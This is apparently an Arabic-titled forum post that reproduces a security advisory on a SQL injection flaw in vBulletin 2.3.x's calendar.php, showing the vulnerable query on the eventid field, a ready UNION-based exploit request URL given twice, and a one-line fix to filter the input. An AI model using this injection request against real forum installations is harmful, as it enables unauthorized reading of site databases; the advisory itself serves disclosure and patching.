شرح بعض الثغرات الطازجه و كيفية معلجتها
vBulletin Forum 2.3.xx calendar.php SQL Injection
========================================================
Description:
=============
There exist a sql injection problem in calendar.php. Notice the eventid
field.
-------- Cut from line 585 in calendar.php ----------
else if ($action == "edit")
{
$eventinfo = $DB_site->query_first("SELECT
allowsmilies,public,userid,eventdate,event,subject FROM calendar_events
WHERE eventid = $eventid");
-----------------------------------------------------
If the MySQL version is greater than 4.00, a UNION attack could be used.
Exploit request
================
calendar.php?s=&action=edit&eventid=14 union (SELECT
allowsmilies,public,userid,'0000-0-0',version(),userid FROM calendar_events
WHERE eventid = 14) order by eventdate
(14 is the eventid of your added event)
The subject and event field will show the result.
The query_first function will only return the first row of the query result,
so make sure it returns the
one you want.
The Fix?
============
filter eventid before query.
=====================================
2
vBulletin Calendar Script SQL Injection Vulnerability
http://www.example.com/[software_installation_path]/calendar.php?s=&action=edit&eventid=14 union (SELECT
allowsmilies,public,userid,'0000-0-0',version(),userid FROM calendar_events
WHERE eventid = 14) order by eventdate
(it should be noted that the underlying database must support the UNION command for this example to work)
دانغاو :funny:
